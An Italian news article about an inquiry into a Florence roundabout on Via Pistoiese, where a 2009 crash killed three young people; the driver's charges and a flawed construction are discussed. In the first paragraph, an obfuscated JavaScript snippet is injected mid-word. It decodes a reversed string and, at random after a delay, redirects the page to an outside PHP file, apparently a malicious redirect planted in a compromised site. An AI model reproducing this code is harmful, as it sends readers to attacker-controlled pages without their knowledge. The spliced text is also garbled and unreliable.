Via Pistoiese, aperta un'inchiesta sulla "rotonda della morte"

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L´incidente che la notte dell´Epifania è costato la vita a due ragazzine di 16 anni, Margaux e Francesca, e a un loro amico di 19, Mario, è stato causato non solo dalla velocità eccessiva e dall´imperizia del giovane guidatore, Gianmarco Tani, ma anche dalle condizioni di via Pistoiese, e in particolare della rotatoria all´altezza della quale l´auto sb (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andò e si ribaltò. E´ l´ipotesi suggerita dalla consulenza tecnica commissionata dal pm Leopoldo De Gregorio al professor Alfredo Micucci della facoltà di ingegneria dell´università di Bologna.

Secondo quanto accertato nella consulenza, la rotonda all´altezza della quale avvenne l´incidente sarebbe stata costruita in modo difforme rispetto al progetto. Doveva essere di forma circolare (rotonda, appunto) e così era anche al momento della posa del jersey, ma poi fu realizzata in forma ovale, tale da confondere gli automobilisti che seguendo la curvatura non riescono a rientrare correttamente in carreggiata. Alla luce della consulenza, il pm De Gregorio ha deciso di chiudere le indagini sul giovane guidatore ma al tempo stesso di aprire un nuovo fascicolo, al momento a carico di ignoti, per approfondire le eventuali responsabilità connesse alla conformazione della rotatoria.

Gianmarco Tani, 19 anni, è scampato miracolosamente, come suo cugino Filippo che sedeva accanto a lui, allo spaventoso incidente nel quale nella notte fra il 5 e il 6 gennaio 2009 hanno perso la vita tutti e tre i loro amici che viaggiavano sul sedile posteriore della Lancia Ypsilon. Stavano andando alla discoteca Piper quando l´auto, appena superata la rotatoria, ha urtato contro il marciapiede di via Pistoiese e poi nel cordolo, ribaltandosi e schiantandosi nella parte posteriore contro un albero. Gianmarco è accusato di omicidio colposo plurimo. Al momento del ricovero in ospedale aveva un tasso alcolico di 0,64, superiore seppur di poco al limite di 0,50. Nell´auto la polizia municipale ha trovato inserita la terza e ne ha dedotto, dopo aver consultato la casa costruttrice, che il ragazzo procedeva a una velocità compresa fra i 70 e gli 80 km l´ora, superiore al limite di 50. Ci sono dunque, secondo la procura, gli estremi per contestargli la imprudenza nella guida. Di qui l´avviso di conclusione delle indagini a suo carico con la contestazione di omicidio colposo plurimo.

Tuttavia non è scontato che la responsabilità dell´incidente sia esclusivamente del giovane. Il suo avvocato, Sigfrido Fenyes, guarda con soddisfazione all´approfondimento di indagine che – spiega – potrebbe portare a una condivisione di colpa. Durante le indagini, il pm ha chiesto a vigili urbani, carabinieri e polizia stradale di raccogliere tutti i dati sugli incidenti avvenuti in via Pistoiese prima e dopo la realizzazione delle rotatorie. E´ risultato che il numero dei sinistri è rimasto praticamente identico ma ne è cambiata la tipologia. Sono diminuiti gli scontri ma sono aumentati gli incidenti con un solo veicolo. E tuttora nelle statistiche della polizia municipale via Pistoiese risulta la strada fiorentina con il più alto numero di incidenti.

La nuova giunta comunale ha deciso di correre ai ripari, avviando lavori di ripristino del manto stradale afflitto da buche e avvallamenti, ma soprattutto progettando di eliminare almeno due o forse tutte e quattro le rotatorie, che non si sono rivelate utili a risolvere la piaga dell´alta velocità.

[Fonte: La Repubblica]

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